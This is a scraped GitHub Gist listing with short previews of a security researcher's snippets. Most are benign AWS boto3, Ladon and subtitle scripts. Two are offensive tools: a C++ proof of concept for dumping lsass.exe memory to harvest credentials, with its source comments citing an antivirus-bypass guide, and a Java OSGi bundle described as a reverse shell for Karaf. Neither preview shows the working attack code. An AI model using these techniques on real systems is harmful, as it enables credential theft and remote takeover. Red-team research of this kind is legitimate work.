Skip to content

Instantly share code, notes, and snippets.

Avatar

2XXE GeneralTesler

View GitHub Profile
@GeneralTesler
GeneralTesler / funi.md
Created Aug 17, 2020
Enable subtitles on Funimation web player
View funi.md

Enable subtitles on Funimation web player using VideoJS addRemoteTextTrack

// get the player iframe 
var frame = document.getElementsByTagName("iframe")[0].contentWindow
// get the videojs object inside the iframe 
// fp is the instance of the FunimationPlayer inside the iframe and stores the text track info
//     vtt is usually the first item in the text track list
frame.videojs.getPlayer("brightcove-player").addRemoteTextTrack(frame.fp.currentVideo.source.textTracks[0])
@GeneralTesler
GeneralTesler / refl.cpp
Last active Nov 17, 2021
PoC using RtlCreateProcessReflection + MiniDumpWriteDump to dump lsass.exe process memory
View refl.cpp
#include <Windows.h>
#include <iostream>
#include <DbgHelp.h>
#include <processsnapshot.h>
#include <TlHelp32.h>
#include <processthreadsapi.h>
//process reflection stuff copied from: https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp
//minidump/process searching copied from: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
//compile using: cl.exe refl.cpp /DUNICODE
@GeneralTesler
GeneralTesler / boto3_log.py
Created May 25, 2020
Log AWS API calls using boto3 event system
View boto3_log.py
# see: https://boto3.amazonaws.com/v1/documentation/api/latest/guide/events.html#provide-client-params
import boto3
from botocore.client import Config
from botocore import UNSIGNED
import json
def intercept_params(params, **kwargs):
print(
json.dumps(
@GeneralTesler
GeneralTesler / boto3_patch.py
Last active May 25, 2020
Patch botocore to log API calls + parameters
View boto3_patch.py
import boto3
import botocore
from botocore.client import BaseClient, Config, ClientMeta
import json
def log_api(self, operation_name, api_params):
meta: ClientMeta = self.meta
print(
json.dumps(
@GeneralTesler
GeneralTesler / ladon.go
Created Feb 17, 2020
basic code for using Ladon; taken + merged from readme: https://github.com/ory/ladon
View ladon.go
package main
import (
"log"
"github.com/ory/ladon"
manager "github.com/ory/ladon/manager/memory"
)
func main() {
@GeneralTesler
GeneralTesler / mssql.ps1
Last active Dec 15, 2019
Search MSSQL databases for columns containing keywords using SqlServer PowerShell PSDrive
View mssql.ps1
Import-Module SqlServer
function Get-SQLTablesByKeyword {
<#
Usage:
Get-SQLTablesByKeyword -Computer <hostname>
Example:
Get-SQLTablesByKeyword -Computer sql01.domain.local
Example Output:
Table Database Column
@GeneralTesler
GeneralTesler / all.py
Created Dec 6, 2019
boto3 list available operations per service
View all.py
import boto3
import json
if __name__ == "__main__":
apis = []
session = boto3.session.Session(region_name="us-east-1")
[
apis.append({service: list(session.client(service)._PY_TO_OP_NAME.values())})
for service in session.get_available_services()
@GeneralTesler
GeneralTesler / ec2.py
Created Dec 6, 2019
boto3 list EC2 instance APIs using resource handler
View ec2.py
import boto3
if __name__ == "__main__":
session = boto3.session.Session(region_name="us-east-1")
resource = session.resource("ec2")
operations = resource.instances._handler.service_context.service_model.operation_names
[print(op) for op in operations]
@GeneralTesler
GeneralTesler / iam.py
Created Dec 6, 2019
boto3 list users via resource handler
View iam.py
import boto3
if __name__ == "__main__":
session = boto3.session.Session()
resource = session.resource("iam")
[print(r.arn) for r in getattr(resource, "users").all()]
@GeneralTesler
GeneralTesler / ExecActivator.java
Last active Dec 6, 2019
simple reverse shell via OSGi bundle for Karaf
View ExecActivator.java
package com.demo.exec;
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;
public class ExecActivator implements BundleActivator {
@Override
public void start(BundleContext bundleContext) throws Exception {